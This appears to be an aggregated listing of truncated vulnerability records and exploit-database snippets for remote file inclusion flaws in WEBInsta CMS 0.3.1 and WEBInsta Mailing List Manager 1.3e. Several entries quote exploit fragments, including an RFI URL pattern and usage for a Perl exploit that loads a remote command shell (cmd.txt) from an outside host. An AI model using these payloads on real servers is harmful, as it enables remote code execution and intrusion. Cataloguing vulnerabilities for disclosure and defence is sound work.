CVE-2006-4196

PHP remote file inclusion vulnerability in index.php in WEBInsta CMS 0.3.1 and possibly earlier allows remote attackers to execute arbitrary PHP code via a URL in the templatesdir parameter...

CVE-2006-4209

CONCRETE DETAILS: WEBInsta Mailing List Manager 1.3e contains a PHP remote file inclusion in install3.php triggered via cabsolute_path, allowing remote attackers to execute arbitrary PHP code. This is the exact vulnerability described across CVE-2006-4209 records (NVD/EUVD). Affected component: i...

CVE-2006-4209

PHP remote file inclusion vulnerability in install3.php in WEBInsta Mailing List Manager 1.3e allows remote attackers to execute arbitrary PHP code via a URL in the cabsolutepath parameter...

CVE-2006-4196

CVE-2006-4196 affects WEBInsta CMS 0.3.1 and possibly earlier, where index.php fails to sanitize the templates_dir parameter before including PHP code. This enables a remote attacker to cause PHP code execution by supplying a crafted URL, effectively performing a remote file inclusion via the tem...

CVE-2006-4217: Undefined Security Weakness

PHP remote file inclusion vulnerability in modules/usersonline/users.php in WEBInsta CMS 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the moduledir parameter, a different vulnerability than CVE-2006-4196. NOTE: the provenance of this information is unknown; the details...

CVE-2006-4196: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in WEBInsta CMS 0.3.1 and possibly earlier allows remote attackers to execute arbitrary PHP code via a URL in the templatesdir parameter...

CVE-2006-4209: Undefined Security Weakness

PHP remote file inclusion vulnerability in install3.php in WEBInsta Mailing List Manager 1.3e allows remote attackers to execute arbitrary PHP code via a URL in the cabsolutepath parameter...

WEBInsta CMS 0.3.1 - users.php Remote File Inclusion

WEBInsta CMS 0.3.1 - users.php Remote File Inclusion / Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...

WEBInsta CMS <= 0.3.1 (users.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =================================================================== WEBInsta CMS = 0.3.1 users.php Remote File Include Vulnerability =================================================================== / Vulnerable product :...

WEBInsta MM 1.3e - absolute_path Remote File Inclusion

WEBInsta MM 1.3e - absolutepath Remote File Inclusion WEBInsta Mailing List Manager = 1.3e initdb.php Remote File Include Exploit function milw0rm if document.exploit.target.value=="" alert"Enter a Target"; return false; exploit.action= document.exploit.target.value;...

WEBInsta CMS 0.3.1 - 'users.php' Remote File Inclusion

/ Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...

WEBInsta MM 1.3e - 'absolute_path' Remote File Inclusion

WEBInsta Mailing List Manager = 1.3e initdb.php Remote File Include Exploit function milw0rm if document.exploit.target.value=="" alert"Enter a Target"; return false; exploit.action= document.exploit.target.value; exploit.cmd.value=document.exploit.cmd.value;...

WEBInsta Mailing list manager &#40;cabsolute_path&#41; 1.3e RFI

+-------------------------------------------------------------------- + + WEBInsta Mailing list manager cabsolutepath 1.3e RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/311/org/+ WEBInstaMailinglistmanagercabsolutepath1.3eRFI.htm +...

WEBInsta CMS index.php templates_dir Parameter Remote File Inclusion

The remote host is running WEBInsta CMS, a content management system written in PHP. The version of WEBInsta CMS installed on the remote host fails to sanitize user-supplied input to the 'templatesdir' parameter of the 'index.php' script before using it to include PHP code. Regardless of PHP's...

[ECHO_ADV_45$2006] WEBinsta CMS 0.3.1 &#40;templates_dir&#41; Remote File Inclusion Vulnerability

ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion

WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...

WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion

!/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|sta...

WEBinsta CMS <= 0.3.1 (templates_dir) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================= WEBinsta CMS perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff...

WEBinsta Mailing List Manager 1.3 - Install3.php Remote File Inclusion

WEBinsta Mailing List Manager 1.3 - Install3.php Remote File Inclusion source: https://www.securityfocus.com/bid/19477/info WEBinsta Mailing List Manager is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue t...

WEBInsta MM 1.3e - cabsolute_path Remote File Inclusion

WEBInsta MM 1.3e - cabsolutepath Remote File Inclusion +-------------------------------------------------------------------- + + WEBInsta Mailing list manager 1.3e cabsolutepath RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/311/org/ +...